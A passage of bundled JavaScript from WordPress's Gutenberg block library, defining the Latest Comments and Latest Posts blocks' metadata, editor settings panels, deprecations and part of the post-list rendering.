          linkTarget: item.linkTarget
        }),
        setValue: ({ value }) => ({
          href: value.url,
          rel: value.rel,
          linkTarget: value.linkTarget
        })
      },
      {
        id: "caption",
        label: (0, import_i18n95.__)("Caption"),
        type: "text",
        Edit: "rich-text"
        // TODO: replace with custom component
      },
      {
        id: "alt",
        label: (0, import_i18n95.__)("Alt text"),
        type: "text"
      }
    ];
    settings44[formKey8] = {
      fields: ["image", "link", "caption", "alt"]
    };
  }
  var init44 = () => initBlock({ name: name44, metadata: block_default44, settings: settings44 });

  // packages/block-library/build-module/latest-comments/index.mjs
  var latest_comments_exports = {};
  __export(latest_comments_exports, {
    init: () => init45,
    metadata: () => block_default45,
    name: () => name45,
    settings: () => settings45
  });

  // packages/block-library/build-module/latest-comments/block.json
  var block_default45 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/latest-comments",
    title: "Latest Comments",
    category: "widgets",
    description: "Display a list of your most recent comments.",
    keywords: ["recent comments"],
    textdomain: "default",
    attributes: {
      commentsToShow: {
        type: "number",
        default: 5,
        minimum: 1,
        maximum: 100
      },
      displayAvatar: {
        type: "boolean",
        default: true
      },
      displayDate: {
        type: "boolean",
        default: true
      },
      displayContent: {
        type: "string",
        default: "excerpt",
        enum: ["none", "excerpt", "full"]
      }
    },
    supports: {
      anchor: true,
      align: true,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    style: "wp-block-latest-comments"
  };

  // packages/block-library/build-module/latest-comments/edit.mjs
  var import_block_editor115 = __toESM(require_block_editor(), 1);
  var import_components58 = __toESM(require_components(), 1);
  var import_i18n96 = __toESM(require_i18n(), 1);
  var import_server_side_render4 = __toESM(require_server_side_render(), 1);
  var import_compose25 = __toESM(require_compose(), 1);
  var import_jsx_runtime282 = __toESM(require_jsx_runtime(), 1);
  var MIN_COMMENTS = 1;
  var MAX_COMMENTS = 100;
  function LatestComments({ attributes: attributes2, setAttributes, name: name123 }) {
    const { commentsToShow, displayAvatar, displayDate, displayContent } = attributes2;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const { content, status, error } = (0, import_server_side_render4.useServerSideRender)({
      attributes: attributes2,
      skipBlockSupportAttributes: true,
      block: name123,
      urlQueryArgs: {
        // The preview uses the site's locale to make it more true to how
        // the block appears on the frontend. Setting the locale
        // explicitly prevents any middleware from setting it to 'user'.
        _locale: "site"
      }
    });
    const disabledRef = (0, import_compose25.useDisabled)();
    const blockProps = (0, import_block_editor115.useBlockProps)({ ref: disabledRef });
    return /* @__PURE__ */ (0, import_jsx_runtime282.jsxs)(import_jsx_runtime282.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(import_block_editor115.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime282.jsxs)(
        import_components58.__experimentalToolsPanel,
        {
          label: (0, import_i18n96.__)("Settings"),
          resetAll: () => {
            setAttributes({
              commentsToShow: 5,
              displayAvatar: true,
              displayDate: true,
              displayContent: "excerpt"
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
              import_components58.__experimentalToolsPanelItem,
              {
                hasValue: () => !displayAvatar,
                label: (0, import_i18n96.__)("Display avatar"),
                onDeselect: () => setAttributes({ displayAvatar: true }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
                  import_components58.ToggleControl,
                  {
                    label: (0, import_i18n96.__)("Display avatar"),
                    checked: displayAvatar,
                    onChange: () => setAttributes({
                      displayAvatar: !displayAvatar
                    })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
              import_components58.__experimentalToolsPanelItem,
              {
                hasValue: () => !displayDate,
                label: (0, import_i18n96.__)("Display date"),
                onDeselect: () => setAttributes({ displayDate: true }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
                  import_components58.ToggleControl,
                  {
                    label: (0, import_i18n96.__)("Display date"),
                    checked: displayDate,
                    onChange: () => setAttributes({ displayDate: !displayDate })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
              import_components58.__experimentalToolsPanelItem,
              {
                hasValue: () => displayContent !== "excerpt",
                label: (0, import_i18n96.__)("Display content"),
                onDeselect: () => setAttributes({ displayContent: "excerpt" }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
                  import_components58.SelectControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n96.__)("Display content"),
                    value: displayContent,
                    options: [
                      { label: (0, import_i18n96.__)("No content"), value: "none" },
                      { label: (0, import_i18n96.__)("Excerpt"), value: "excerpt" },
                      { label: (0, import_i18n96.__)("Full content"), value: "full" }
                    ],
                    onChange: (value) => setAttributes({
                      displayContent: value
                    })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
              import_components58.__experimentalToolsPanelItem,
              {
                hasValue: () => commentsToShow !== 5,
                label: (0, import_i18n96.__)("Number of comments"),
                onDeselect: () => setAttributes({ commentsToShow: 5 }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(
                  import_components58.RangeControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n96.__)("Number of comments"),
                    value: commentsToShow,
                    onChange: (value) => setAttributes({ commentsToShow: value }),
                    min: MIN_COMMENTS,
                    max: MAX_COMMENTS,
                    required: true
                  }
                )
              }
            )
          ]
        }
      ) }),
      status === "loading" && /* @__PURE__ */ (0, import_jsx_runtime282.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(import_components58.Spinner, {}) }),
      status === "error" && /* @__PURE__ */ (0, import_jsx_runtime282.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime282.jsx)("p", { children: (0, import_i18n96.sprintf)(
        /* translators: %s: error message returned when rendering the block. */
        (0, import_i18n96.__)("Error: %s"),
        error
      ) }) }),
      status === "success" && /* @__PURE__ */ (0, import_jsx_runtime282.jsx)(html_renderer_default, { wrapperProps: blockProps, html: content })
    ] });
  }

  // packages/block-library/build-module/latest-comments/deprecated.mjs
  var v120 = {
    attributes: {
      commentsToShow: {
        type: "number",
        default: 5,
        minimum: 1,
        maximum: 100
      },
      displayAvatar: {
        type: "boolean",
        default: true
      },
      displayDate: {
        type: "boolean",
        default: true
      },
      displayExcerpt: {
        type: "boolean",
        default: true
      }
    },
    supports: {
      align: true,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    isEligible(attributes2) {
      return attributes2?.displayExcerpt === false;
    },
    migrate(attributes2) {
      return {
        ...attributes2,
        displayContent: attributes2.displayExcerpt ? "excerpt" : "none"
      };
    }
  };
  var deprecated_default23 = [v120];

  // packages/block-library/build-module/latest-comments/index.mjs
  var { name: name45 } = block_default45;
  var settings45 = {
    icon: comment_default,
    example: {},
    edit: LatestComments,
    deprecated: deprecated_default23
  };
  var init45 = () => initBlock({ name: name45, metadata: block_default45, settings: settings45 });

  // packages/block-library/build-module/latest-posts/index.mjs
  var latest_posts_exports = {};
  __export(latest_posts_exports, {
    init: () => init46,
    metadata: () => block_default46,
    name: () => name46,
    settings: () => settings46
  });

  // packages/block-library/build-module/latest-posts/block.json
  var block_default46 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/latest-posts",
    title: "Latest Posts",
    category: "widgets",
    description: "Display a list of your most recent posts.",
    keywords: ["recent posts"],
    textdomain: "default",
    attributes: {
      categories: {
        type: "array",
        items: {
          type: "object"
        }
      },
      selectedAuthor: {
        type: "number"
      },
      postsToShow: {
        type: "number",
        default: 5
      },
      displayPostContent: {
        type: "boolean",
        default: false
      },
      displayPostContentRadio: {
        type: "string",
        default: "excerpt"
      },
      excerptLength: {
        type: "number",
        default: 55
      },
      displayAuthor: {
        type: "boolean",
        default: false
      },
      displayPostDate: {
        type: "boolean",
        default: false
      },
      postLayout: {
        type: "string",
        default: "list"
      },
      columns: {
        type: "number",
        default: 3
      },
      order: {
        type: "string",
        default: "desc"
      },
      orderBy: {
        type: "string",
        default: "date"
      },
      displayFeaturedImage: {
        type: "boolean",
        default: false
      },
      featuredImageAlign: {
        type: "string",
        enum: ["left", "center", "right"]
      },
      featuredImageSizeSlug: {
        type: "string",
        default: "thumbnail"
      },
      featuredImageSizeWidth: {
        type: "number",
        default: null
      },
      featuredImageSizeHeight: {
        type: "number",
        default: null
      },
      addLinkToFeaturedImage: {
        type: "boolean",
        default: false
      }
    },
    supports: {
      anchor: true,
      align: true,
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: "wp-block-latest-posts-editor",
    style: "wp-block-latest-posts"
  };

  // packages/block-library/build-module/latest-posts/deprecated.mjs
  var { attributes } = block_default46;
  var deprecated_default24 = [
    {
      attributes: {
        ...attributes,
        categories: {
          type: "string"
        }
      },
      supports: {
        align: true,
        html: false
      },
      migrate: (oldAttributes) => {
        return {
          ...oldAttributes,
          categories: [{ id: Number(oldAttributes.categories) }]
        };
      },
      isEligible: ({ categories }) => categories && "string" === typeof categories,
      save: () => null
    }
  ];

  // packages/block-library/build-module/latest-posts/edit.mjs
  var import_components59 = __toESM(require_components(), 1);
  var import_i18n97 = __toESM(require_i18n(), 1);
  var import_date2 = __toESM(require_date(), 1);
  var import_block_editor116 = __toESM(require_block_editor(), 1);
  var import_data49 = __toESM(require_data(), 1);
  var import_core_data24 = __toESM(require_core_data(), 1);
  var import_notices9 = __toESM(require_notices(), 1);
  var import_compose26 = __toESM(require_compose(), 1);
  var import_element46 = __toESM(require_element(), 1);

  // packages/block-library/build-module/latest-posts/constants.mjs
  var MIN_EXCERPT_LENGTH = 10;
  var MAX_EXCERPT_LENGTH = 100;
  var MAX_POSTS_COLUMNS = 6;
  var DEFAULT_EXCERPT_LENGTH = 55;

  // packages/block-library/build-module/latest-posts/edit.mjs
  var import_jsx_runtime283 = __toESM(require_jsx_runtime(), 1);
  var CATEGORIES_LIST_QUERY = {
    per_page: -1,
    _fields: "id,name",
    context: "view"
  };
  var USERS_LIST_QUERY = {
    per_page: -1,
    has_published_posts: ["post"],
    context: "view"
  };
  var imageAlignmentOptions = [
    {
      value: "none",
      icon: align_none_default,
      label: (0, import_i18n97.__)("None")
    },
    {
      value: "left",
      icon: position_left_default,
      label: (0, import_i18n97.__)("Left")
    },
    {
      value: "center",
      icon: position_center_default,
      label: (0, import_i18n97.__)("Center")
    },
    {
      value: "right",
      icon: position_right_default,
      label: (0, import_i18n97.__)("Right")
    }
  ];
  function getFeaturedImageDetails(post, size) {
    const image = post._embedded?.["wp:featuredmedia"]?.["0"];
    return {
      url: image?.media_details?.sizes?.[size]?.source_url ?? image?.source_url,
      alt: image?.alt_text
    };
  }
  function getCurrentAuthor(post) {
    return post._embedded?.author?.[0];
  }
  function Controls({ attributes: attributes2, setAttributes, postCount }) {
    const {
      postsToShow,
      order,
      orderBy,
      categories,
      selectedAuthor,
      displayFeaturedImage,
      displayPostContentRadio,
      displayPostContent,
      displayPostDate,
      displayAuthor,
      postLayout,
      columns,
      excerptLength,
      featuredImageAlign,
      featuredImageSizeSlug,
      featuredImageSizeWidth,
      featuredImageSizeHeight,
      addLinkToFeaturedImage
    } = attributes2;
    const {
      imageSizes,
      defaultImageWidth,
      defaultImageHeight,
      categoriesList,
      authorList
    } = (0, import_data49.useSelect)(
      (select9) => {
        const { getEntityRecords, getUsers } = select9(import_core_data24.store);
        const settings122 = select9(import_block_editor116.store).getSettings();
        return {
          defaultImageWidth: settings122.imageDimensions?.[featuredImageSizeSlug]?.width ?? 0,
          defaultImageHeight: settings122.imageDimensions?.[featuredImageSizeSlug]?.height ?? 0,
          imageSizes: settings122.imageSizes,
          categoriesList: getEntityRecords(
            "taxonomy",
            "category",
            CATEGORIES_LIST_QUERY
          ),
          authorList: getUsers(USERS_LIST_QUERY)
        };
      },
      [featuredImageSizeSlug]
    );
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const imageSizeOptions = imageSizes.filter(({ slug }) => slug !== "full").map(({ name: name123, slug }) => ({
      value: slug,
      label: name123
    }));
    const categorySuggestions = categoriesList?.reduce(
      (accumulator, category) => ({
        ...accumulator,
        [category.name]: category
      }),
      {}
    ) ?? {};
    const selectCategories = (tokens) => {
      const hasNoSuggestion = tokens.some(
        (token) => typeof token === "string" && !categorySuggestions[token]
      );
      if (hasNoSuggestion) {
        return;
      }
      const allCategories = tokens.map((token) => {
        return typeof token === "string" ? categorySuggestions[token] : token;
      });
      if (allCategories.includes(null)) {
        return false;
      }
      setAttributes({ categories: allCategories });
    };
    return /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(import_jsx_runtime283.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(
        import_components59.__experimentalToolsPanel,
        {
          label: (0, import_i18n97.__)("Post content"),
          resetAll: () => setAttributes({
            displayPostContent: false,
            displayPostContentRadio: "excerpt",
            excerptLength: DEFAULT_EXCERPT_LENGTH
          }),
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
              import_components59.__experimentalToolsPanelItem,
              {
                hasValue: () => !!displayPostContent,
                label: (0, import_i18n97.__)("Display post content"),
                onDeselect: () => setAttributes({ displayPostContent: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                  import_components59.ToggleControl,
                  {
                    label: (0, import_i18n97.__)("Display post content"),
                    checked: displayPostContent,
                    onChange: (value) => setAttributes({ displayPostContent: value })
                  }
                )
              }
            ),
            displayPostContent && /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
              import_components59.__experimentalToolsPanelItem,
              {
                hasValue: () => displayPostContentRadio !== "excerpt",
                label: (0, import_i18n97.__)("Content length"),
                onDeselect: () => setAttributes({
                  displayPostContentRadio: "excerpt"
                }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                  import_components59.RadioControl,
                  {
                    label: (0, import_i18n97.__)("Content length"),
                    selected: displayPostContentRadio,
                    options: [
                      { label: (0, import_i18n97.__)("Excerpt"), value: "excerpt" },
                      {
                        label: (0, import_i18n97.__)("Full post"),
                        value: "full_post"
                      }
                    ],
                    onChange: (value) => setAttributes({
                      displayPostContentRadio: value
                    })
                  }
                )
              }
            ),
            displayPostContent && displayPostContentRadio === "excerpt" && /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
              import_components59.__experimentalToolsPanelItem,
              {
                hasValue: () => excerptLength !== DEFAULT_EXCERPT_LENGTH,
                label: (0, import_i18n97.__)("Max number of words"),
                onDeselect: () => setAttributes({
                  excerptLength: DEFAULT_EXCERPT_LENGTH
                }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                  import_components59.RangeControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n97.__)("Max number of words"),
                    value: excerptLength,
                    onChange: (value) => setAttributes({ excerptLength: value }),
                    min: MIN_EXCERPT_LENGTH,
                    max: MAX_EXCERPT_LENGTH
                  }
                )
              }
            )
          ]
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(
        import_components59.__experimentalToolsPanel,
        {
          label: (0, import_i18n97.__)("Post meta"),
          resetAll: () => setAttributes({
            displayAuthor: false,
            displayPostDate: false
          }),
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
              import_components59.__experimentalToolsPanelItem,
              {
                hasValue: () => !!displayAuthor,
                label: (0, import_i18n97.__)("Display author name"),
                onDeselect: () => setAttributes({ displayAuthor: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                  import_components59.ToggleControl,
                  {
                    label: (0, import_i18n97.__)("Display author name"),
                    checked: displayAuthor,
                    onChange: (value) => setAttributes({ displayAuthor: value })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
              import_components59.__experimentalToolsPanelItem,
              {
                hasValue: () => !!displayPostDate,
                label: (0, import_i18n97.__)("Display post date"),
                onDeselect: () => setAttributes({ displayPostDate: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                  import_components59.ToggleControl,
                  {
                    label: (0, import_i18n97.__)("Display post date"),
                    checked: displayPostDate,
                    onChange: (value) => setAttributes({ displayPostDate: value })
                  }
                )
              }
            )
          ]
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(
        import_components59.__experimentalToolsPanel,
        {
          label: (0, import_i18n97.__)("Featured image"),
          resetAll: () => setAttributes({
            displayFeaturedImage: false,
            featuredImageAlign: void 0,
            featuredImageSizeSlug: "thumbnail",
            featuredImageSizeWidth: null,
            featuredImageSizeHeight: null,
            addLinkToFeaturedImage: false
          }),
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
              import_components59.__experimentalToolsPanelItem,
              {
                hasValue: () => !!displayFeaturedImage,
                label: (0, import_i18n97.__)("Display featured image"),
                onDeselect: () => setAttributes({ displayFeaturedImage: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                  import_components59.ToggleControl,
                  {
                    label: (0, import_i18n97.__)("Display featured image"),
                    checked: displayFeaturedImage,
                    onChange: (value) => setAttributes({ displayFeaturedImage: value })
                  }
                )
              }
            ),
            displayFeaturedImage && /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(import_jsx_runtime283.Fragment, { children: [
              /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                import_components59.__experimentalToolsPanelItem,
                {
                  hasValue: () => featuredImageSizeSlug !== "thumbnail" || featuredImageSizeWidth !== null || featuredImageSizeHeight !== null,
                  label: (0, import_i18n97.__)("Image size"),
                  onDeselect: () => setAttributes({
                    featuredImageSizeSlug: "thumbnail",
                    featuredImageSizeWidth: null,
                    featuredImageSizeHeight: null
                  }),
                  isShownByDefault: true,
                  children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                    import_block_editor116.__experimentalImageSizeControl,
                    {
                      onChange: (value) => {
                        const newAttrs = {};
                        if (value.hasOwnProperty("width")) {
                          newAttrs.featuredImageSizeWidth = value.width;
                        }
                        if (value.hasOwnProperty("height")) {
                          newAttrs.featuredImageSizeHeight = value.height;
                        }
                        setAttributes(newAttrs);
                      },
                      slug: featuredImageSizeSlug,
                      width: featuredImageSizeWidth,
                      height: featuredImageSizeHeight,
                      imageWidth: defaultImageWidth,
                      imageHeight: defaultImageHeight,
                      imageSizeOptions,
                      imageSizeHelp: (0, import_i18n97.__)(
                        "Select the size of the source image."
                      ),
                      onChangeImage: (value) => setAttributes({
                        featuredImageSizeSlug: value,
                        featuredImageSizeWidth: void 0,
                        featuredImageSizeHeight: void 0
                      })
                    }
                  )
                }
              ),
              /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                import_components59.__experimentalToolsPanelItem,
                {
                  hasValue: () => !!featuredImageAlign,
                  label: (0, import_i18n97.__)("Image alignment"),
                  onDeselect: () => setAttributes({
                    featuredImageAlign: void 0
                  }),
                  isShownByDefault: true,
                  children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                    import_components59.__experimentalToggleGroupControl,
                    {
                      className: "editor-latest-posts-image-alignment-control",
                      __next40pxDefaultSize: true,
                      label: (0, import_i18n97.__)("Image alignment"),
                      value: featuredImageAlign || "none",
                      onChange: (value) => setAttributes({
                        featuredImageAlign: value !== "none" ? value : void 0
                      }),
                      children: imageAlignmentOptions.map(
                        ({ value, icon: icon4, label }) => {
                          return /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                            import_components59.__experimentalToggleGroupControlOptionIcon,
                            {
                              value,
                              icon: icon4,
                              label
                            },
                            value
                          );
                        }
                      )
                    }
                  )
                }
              ),
              /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                import_components59.__experimentalToolsPanelItem,
                {
                  hasValue: () => !!addLinkToFeaturedImage,
                  label: (0, import_i18n97.__)("Add link to featured image"),
                  onDeselect: () => setAttributes({
                    addLinkToFeaturedImage: false
                  }),
                  isShownByDefault: true,
                  children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                    import_components59.ToggleControl,
                    {
                      label: (0, import_i18n97.__)("Add link to featured image"),
                      checked: addLinkToFeaturedImage,
                      onChange: (value) => setAttributes({
                        addLinkToFeaturedImage: value
                      })
                    }
                  )
                }
              )
            ] })
          ]
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(
        import_components59.__experimentalToolsPanel,
        {
          label: (0, import_i18n97.__)("Sorting and filtering"),
          resetAll: () => setAttributes({
            order: "desc",
            orderBy: "date",
            postsToShow: 5,
            categories: void 0,
            selectedAuthor: void 0,
            columns: 3
          }),
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
              import_components59.__experimentalToolsPanelItem,
              {
                hasValue: () => order !== "desc" || orderBy !== "date" || postsToShow !== 5 || categories?.length > 0 || !!selectedAuthor,
                label: (0, import_i18n97.__)("Sort and filter"),
                onDeselect: () => setAttributes({
                  order: "desc",
                  orderBy: "date",
                  postsToShow: 5,
                  categories: void 0,
                  selectedAuthor: void 0
                }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                  import_components59.QueryControls,
                  {
                    ...{ order, orderBy },
                    numberOfItems: postsToShow,
                    onOrderChange: (value) => setAttributes({ order: value }),
                    onOrderByChange: (value) => setAttributes({ orderBy: value }),
                    onNumberOfItemsChange: (value) => setAttributes({ postsToShow: value }),
                    categorySuggestions,
                    onCategoryChange: selectCategories,
                    selectedCategories: categories,
                    onAuthorChange: (value) => setAttributes({
                      selectedAuthor: "" !== value ? Number(value) : void 0
                    }),
                    authorList: authorList ?? [],
                    selectedAuthorId: selectedAuthor
                  }
                )
              }
            ),
            postLayout === "grid" && /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
              import_components59.__experimentalToolsPanelItem,
              {
                hasValue: () => columns !== 3,
                label: (0, import_i18n97.__)("Columns"),
                onDeselect: () => setAttributes({
                  columns: 3
                }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                  import_components59.RangeControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n97.__)("Columns"),
                    value: columns,
                    onChange: (value) => setAttributes({ columns: value }),
                    min: 2,
                    max: !postCount ? MAX_POSTS_COLUMNS : Math.min(MAX_POSTS_COLUMNS, postCount),
                    required: true
                  }
                )
              }
            )
          ]
        }
      )
    ] });
  }
  function LatestPostsEdit({ attributes: attributes2, setAttributes }) {
    const instanceId = (0, import_compose26.useInstanceId)(LatestPostsEdit);
    const {
      postsToShow,
      order,
      orderBy,
      categories,
      selectedAuthor,
      displayFeaturedImage,
      displayPostContentRadio,
      displayPostContent,
      displayPostDate,
      displayAuthor,
      postLayout,
      columns,
      excerptLength,
      featuredImageAlign,
      featuredImageSizeSlug,
      featuredImageSizeWidth,
      featuredImageSizeHeight,
      addLinkToFeaturedImage
    } = attributes2;
    const { latestPosts } = (0, import_data49.useSelect)(
      (select9) => {
        const { getEntityRecords } = select9(import_core_data24.store);
        const catIds = categories && categories.length > 0 ? categories.map((cat) => cat.id) : [];
        const latestPostsQuery = Object.fromEntries(
          Object.entries({
            categories: catIds,
            author: selectedAuthor,
            order,
            orderby: orderBy,
            per_page: postsToShow,
            _embed: "author,wp:featuredmedia",
            ignore_sticky: true
          }).filter(([, value]) => typeof value !== "undefined")
        );
        return {
          latestPosts: getEntityRecords(
            "postType",
            "post",
            latestPostsQuery
          )
        };
      },
      [postsToShow, order, orderBy, categories, selectedAuthor]
    );
    const { createWarningNotice } = (0, import_data49.useDispatch)(import_notices9.store);
    const showRedirectionPreventedNotice = (event) => {
      event.preventDefault();
      createWarningNotice((0, import_i18n97.__)("Links are disabled in the editor."), {
        id: `block-library/core/latest-posts/redirection-prevented/${instanceId}`,
        type: "snackbar"
      });
    };
    const hasPosts = !!latestPosts?.length;
    const inspectorControls = /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(import_block_editor116.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
      Controls,
      {
        attributes: attributes2,
        setAttributes,
        postCount: latestPosts?.length ?? 0
      }
    ) });
    const blockProps = (0, import_block_editor116.useBlockProps)({
      className: clsx_default({
        "wp-block-latest-posts__list": true,
        "is-grid": postLayout === "grid",
        "has-dates": displayPostDate,
        "has-author": displayAuthor,
        [`columns-${columns}`]: postLayout === "grid"
      })
    });
    if (!hasPosts) {
      return /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)("div", { ...blockProps, children: [
        inspectorControls,
        /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(import_components59.Placeholder, { icon: pin_default, label: (0, import_i18n97.__)("Latest Posts"), children: !Array.isArray(latestPosts) ? /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(import_components59.Spinner, {}) : (0, import_i18n97.__)("No posts found.") })
      ] });
    }
    const displayPosts = latestPosts.length > postsToShow ? latestPosts.slice(0, postsToShow) : latestPosts;
    const layoutControls = [
      {
        icon: list_default,
        title: (0, import_i18n97._x)("List view", "Latest posts block display setting"),
        onClick: () => setAttributes({ postLayout: "list" }),
        isActive: postLayout === "list"
      },
      {
        icon: grid_default,
        title: (0, import_i18n97._x)("Grid view", "Latest posts block display setting"),
        onClick: () => setAttributes({ postLayout: "grid" }),
        isActive: postLayout === "grid"
      }
    ];
    const dateFormat = (0, import_date2.getSettings)().formats.date;
    return /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(import_jsx_runtime283.Fragment, { children: [
      inspectorControls,
      /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(import_block_editor116.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(import_components59.ToolbarGroup, { controls: layoutControls }) }),
      /* @__PURE__ */ (0, import_jsx_runtime283.jsx)("ul", { ...blockProps, children: displayPosts.map((post) => {
        const titleTrimmed = post.title.rendered.trim();
        let excerpt = post.excerpt.rendered;
        const currentAuthor = getCurrentAuthor(post);
        const excerptElement = document.createElement("div");
        excerptElement.innerHTML = excerpt;
        excerpt = excerptElement.textContent || excerptElement.innerText || "";
        const { url: imageSourceUrl, alt: featuredImageAlt } = getFeaturedImageDetails(post, featuredImageSizeSlug);
        const imageClasses = clsx_default({
          "wp-block-latest-posts__featured-image": true,
          [`align${featuredImageAlign}`]: !!featuredImageAlign
        });
        const renderFeaturedImage = displayFeaturedImage && imageSourceUrl;
        const featuredImage = renderFeaturedImage && /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
          "img",
          {
            src: imageSourceUrl,
            alt: featuredImageAlt,
            style: {
              maxWidth: featuredImageSizeWidth,
              maxHeight: featuredImageSizeHeight
            }
          }
        );
        const needsReadMore = excerptLength < excerpt.trim().split(" ").length && post.excerpt.raw === "";
        const postExcerpt = needsReadMore ? /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)(import_jsx_runtime283.Fragment, { children: [
          excerpt.trim().split(" ", excerptLength).join(" "),
          (0, import_element46.createInterpolateElement)(
            (0, import_i18n97.sprintf)(
              /* translators: 1: Hidden accessibility text: Post title */
              (0, import_i18n97.__)(
                "\u2026 <a>Read more<span>: %1$s</span></a>"
              ),
              titleTrimmed || (0, import_i18n97.__)("(no title)")
            ),
            {
              a: (
                // eslint-disable-next-line jsx-a11y/anchor-has-content
                /* @__PURE__ */ (0, import_jsx_runtime283.jsx)(
                  "a",
                  {
                    className: "wp-block-latest-posts__read-more",
                    href: post.link,
                    rel: "noopener noreferrer",
                    onClick: showRedirectionPreventedNotice
                  }
                )
              ),
              span: /* @__PURE__ */ (0, import_jsx_runtime283.jsx)("span", { className: "screen-reader-text" })
            }
          )
        ] }) : excerpt;
        return /* @__PURE__ */ (0, import_jsx_runtime283.jsxs)("li", { children: [
